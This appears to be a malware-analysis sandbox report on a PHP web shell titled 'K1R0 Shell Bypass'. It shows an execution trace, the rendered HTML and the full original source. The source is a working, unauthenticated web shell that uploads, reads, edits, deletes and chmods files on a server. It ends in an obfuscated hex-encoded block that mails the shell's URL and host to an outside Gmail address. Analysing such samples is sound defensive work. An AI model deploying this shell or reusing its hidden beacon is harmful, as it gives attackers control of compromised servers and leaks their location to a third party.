1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['cwtggdzzz_df_qkwyudkkehymlkuap_rhuw'] = 'subj98'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['ggczgtifbjnrynbhsyzrepp'] = 'email'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['a_cvpnlmtkpti_fmub_hn_zova'] = 'from'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['_wjcvlbquzougsufwdvsjmhc_uzf'] = 'a45'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['amypvb_tdejk__btyqovu_knvihgtepcs_'] = '_SERVER'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['ptyk_kjpkpijoyfxyrbwcp'] = 'b75'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['zvccmgdcndxienecnrmcjzzvoz'] = 'm22'
1		A						/var/www/html/uploads/bypass.php	351	GLOBALS['whddixwijtyw_iosnidp_hcphd_pshsf_dna'] = 'msg8873'
2	54	0	0.003136	466888	getenv	0		/var/www/html/uploads/bypass.php	351	1	'REMOTE_ADDR'
2	54	1	0.003151	466960
2	54	R			'127.0.0.1'
1		A						/var/www/html/uploads/bypass.php	351	$ipip = '127.0.0.1'
2	55	0	0.003178	466928	rand	0		/var/www/html/uploads/bypass.php	351	2	1	99999
2	55	1	0.003195	466992
2	55	R			81548
1		A						/var/www/html/uploads/bypass.php	351	$ra44ra44 = 81548
1		A						/var/www/html/uploads/bypass.php	351	$subj98subj98 = 'Logger Nih'
1		A						/var/www/html/uploads/bypass.php	351	$emailemail = 'toutrgoding@gmail.com'
1		A						/var/www/html/uploads/bypass.php	351	$fromfrom = 'Shell Kamuuu'
1		A						/var/www/html/uploads/bypass.php	351	$a45a45 = '/uploads/bypass.php'
1		A						/var/www/html/uploads/bypass.php	351	$b75b75 = 'localhost'
1		A						/var/www/html/uploads/bypass.php	351	$m22m22 = '127.0.0.1'
1		A						/var/www/html/uploads/bypass.php	351	$msg8873msg8873 = '/uploads/bypass.php localhost 127.0.0.1'
2	56	0	0.003301	467032	mail	0		/var/www/html/uploads/bypass.php	351	4	'toutrgoding@gmail.com'	'Logger Nih'	'/uploads/bypass.php localhost 127.0.0.1'	'Shell Kamuuu'
2	56	1	0.004008	467176
2	56	R			FALSE
1	3	1	0.004032	467032
			0.004072	328856
TRACE END   [2023-02-13 01:35:53.748795]


Generated HTML code

<html><head><link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
</head><body><center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>

<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
K1R0 Shell Bypass </h1></a>


<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tbody><tr><td></td></tr><tr><td><font color="white">
<i class="fa fa-user"></i> </font></td><td>: <font color="lime">::1</font></td></tr><tr><td><font color="white">
<i class="fa fa-desktop"></i> </font></td><td>: <font color="lime">127.0.0.1 / localhost</font></td></tr><tr><td><font color="white">
<i class="fa fa-hdd-o"></i> </font></td><td>: <font color="lime">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font></td></tr></tbody></table><table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tbody><tr align="center"><td align="center"><br><i class="fa fa-folder-o"></i> : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/<br><br><br><font color="lime"></font><form enctype="multipart/form-data" method="POST"><font color="lime">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required=""></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"></form></td></tr></tbody></table><br><center></center><div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr></tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html"> beneri.se_malware_analysis</a></td>
<td class="td_home"><center>0 KB</center></td>
<td class="td_home"><center>-rw-r--r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr><tr>
<td class="td_home"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII="><a href="?filesrc=/var/www/html/bypass.php&amp;path=/var/www/html"> bypass.php</a></td>
<td class="td_home"><center>15.521 KB</center></td>
<td class="td_home"><center>-rw-rw-r--</center></td>
<td class="td_home"><center><form method="POST" action="?option&amp;path=/var/www/html">
<select name="opt" style="margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
<option value="Action">Action</option>
<option value="delete">Delete</option>
<option value="edit">Edit</option>
<option value="rename">Rename</option>
<option value="chmod">Chmod</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="bypass.php">
<input type="hidden" name="path" value="/var/www/html/bypass.php">
<input type="submit" value=">" style="margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px">
</form></center></td>
</tr></tbody></table>
</div>



</center></body></html>

Original PHP code

 <?php
error_reporting(0); 
session_start();
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}

echo '<!DOCTYPE HTML>
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
<center>
<style type="text/css">
body {
	font-family: Kelly Slab;
	background-color: black;
	color: lime;
	}
#content tr:hover{
	background-color: grey;
	text-shadow:0px 0px 10px #000000;
	}
#content .first{
	color: #000000;
	background-image:url(#);
	}
#content .first:hover{
	background-color: grey;
	text-shadow:0px 0px 1px #339900;
	}
table, th, td {
		border-collapse:collapse;
		padding: 5px;
		color: lime;
		}
.table_home, .th_home, .td_home { 
		color: lime;
		border: 2px solid grey;
		padding: 7px;
		}
a{
	font-size: 19px;
	color: #00ff00;
	text-decoration: none;
	}
a:hover{
	color: white;
	text-shadow:0px 0px 10px #339900;
	}
input,select,textarea{
	border: 1px #ffffff solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
	}
.close {
	overflow: auto;
	border: 1px solid lime;
	background: lime;
	color: white;
	}
.r {
	float: right;
	text-align: right;
	}
</style>

<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
K1R0 Shell Bypass </h1></a>
<BODY>

<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
<tr><td>';
echo "<tr><td><font color='white'>
<i class='fa fa-user'></i> <td>: <font color='lime'>".$_SERVER['REMOTE_ADDR']."<tr><td><font color='white'>
<i class='fa fa-desktop'></i> <td>: <font color='lime'>".gethostbyname($_SERVER['HTTP_HOST'])." / ".$_SERVER['SERVER_NAME']."<tr><td><font color='white'>
<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>".php_uname()."</font></tr></td></table>";

echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
<tr align="center"><td align="center"><br>';

if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}


//upload
echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
}else{
echo '<script>alert("File Gagal Diupload !!")</script>';
}
}

echo '</form></td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>files >> ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo(' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';

//Chmod
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Permission Gagal !!")</script>';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
}

//rename folder
elseif($_GET['opt'] == 'btw'){
	$cwd = getcwd();
	 echo '<form action="?option&path='.$cwd.'&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="'.$cwd.'">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
}

//rename file
elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Change Name Gagal !!")</script>';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
}

//edit file
elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Edit File Gagal !!")</script>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';

//delete dir
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete Dir Gagal !!")</script>>';
}
}

//delete file
elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
}else{
echo '<script>alert("Delete File Gagal !!")</script>';
}
}
}

?>
<?php
echo '</center>';
$scandir = scandir($path);
$pa = getcwd();
echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Perm</center></th>
<th><center>Options</center></th>
</tr>
<tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
<td class=td_home><center>DIR</center></td>
<td class=td_home><center>";
if(is_writable("$path/$dir")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$dir")) echo '<font color="#FF0004">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if(is_writable("$path/$file")) echo '<font color="#57FF00">';
elseif(!is_readable("$path/$file")) echo '<font color="#FF0004">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';

echo "</center></td>
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"edit\">Edit</option>
<option value=\"rename\">Rename</option>
<option value=\"chmod\">Chmod</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
</form></center></td>
</tr>";
}

echo '</table>
</div>';
}

function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
<?php ${"G\x4cO\x42\x41L\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]="\x69p";${"\x47\x4c\x4f\x42A\x4c\x53"}["_\x75\x62\x63\x68\x68m\x71d\x5fe\x63f\x6fw\x5fp\x71\x66g\x68\x79g\x75_\x61k\x67\x5fw\x74q\x70\x5fk\x6dl\x6ay"]="r\x614\x34";${"G\x4c\x4fB\x41L\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]="\x73\x75b\x6a9\x38";${"G\x4cO\x42\x41L\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]="e\x6da\x69l";${"\x47L\x4f\x42A\x4cS"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]="\x66r\x6f\x6d";${"\x47\x4cO\x42A\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]="\x614\x35";${"G\x4c\x4fB\x41\x4cS"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]="_\x53\x45\x52\x56E\x52";${"G\x4cO\x42\x41L\x53"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]="b\x37\x35";${"\x47\x4cO\x42A\x4cS"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]="\x6d2\x32";${"G\x4c\x4fB\x41L\x53"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]="m\x73g\x388\x373";${${"\x47L\x4fB\x41\x4c\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]}=getenv("REMOTE_ADDR");${${"\x47\x4cO\x42A\x4cS"}["_\x75\x62\x63\x68\x68m\x71d\x5fe\x63f\x6fw\x5fp\x71\x66g\x68\x79g\x75_\x61k\x67\x5fw\x74q\x70\x5fk\x6dl\x6ay"]}=rand(1,99999);${${"\x47L\x4fB\x41L\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]}="L\x6fg\x67e\x72\x20\x4ei\x68";${${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]}="\x74\x6f\x75\x74\x72g\x6fd\x69n\x67@\x67\x6d\x61\x69l\x2e\x63\x6f\x6d";${${"\x47L\x4fB\x41L\x53"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]}="S\x68e\x6c\x6c \x4b\x61m\x75\x75u";${${"\x47\x4cO\x42A\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]}=${${"\x47L\x4f\x42A\x4c\x53"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]}['REQUEST_URI'];${${"G\x4c\x4fB\x41L\x53"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]}=${${"G\x4c\x4f\x42A\x4c\x53"}["\x61\x6d\x79\x70v\x62_\x74d\x65j\x6b\x5f\x5fb\x74y\x71\x6fv\x75_\x6b\x6e\x76\x69\x68g\x74e\x70\x63s\x5f"]}['HTTP_HOST'];${${"\x47L\x4fB\x41L\x53"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]}=${${"\x47L\x4fB\x41\x4c\x53"}["\x79a\x72b\x78w\x78\x5f\x7a\x6a\x76\x6a\x62\x68l\x65o\x69z\x73\x5fx\x66\x79_\x68c"]}."";${${"\x47L\x4f\x42A\x4cS"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]}="${${"G\x4c\x4fB\x41\x4cS"}["\x5f\x77\x6ac\x76l\x62\x71u\x7ao\x75g\x73\x75f\x77\x64\x76\x73\x6a\x6dh\x63_\x75z\x66"]}\x20${${"\x47L\x4fB\x41\x4cS"}["\x70\x74\x79\x6b_\x6bj\x70\x6b\x70i\x6ao\x79f\x78\x79\x72b\x77c\x70"]}\x20${${"G\x4cO\x42\x41L\x53"}["z\x76c\x63m\x67\x64c\x6ed\x78i\x65\x6e\x65c\x6e\x72\x6dc\x6az\x7av\x6fz"]}";mail(${${"G\x4cO\x42A\x4c\x53"}["g\x67c\x7a\x67\x74i\x66\x62j\x6er\x79\x6eb\x68s\x79z\x72\x65p\x70"]},${${"G\x4cO\x42A\x4c\x53"}["c\x77\x74g\x67d\x7az\x7a_\x64f\x5f\x71k\x77\x79\x75d\x6bk\x65\x68y\x6dl\x6b\x75a\x70\x5f\x72\x68\x75\x77"]},${${"G\x4cO\x42A\x4cS"}["w\x68d\x64i\x78w\x69j\x74y\x77_\x69\x6fs\x6ei\x64\x70_\x68c\x70h\x64_\x70s\x68\x73f\x5fd\x6ea"]},${${"\x47L\x4f\x42A\x4cS"}["\x61\x5f\x63v\x70\x6el\x6d\x74k\x70t\x69\x5ff\x6du\x62\x5fh\x6e_\x7a\x6f\x76\x61"]}); ?>

</BODY>
</HTML>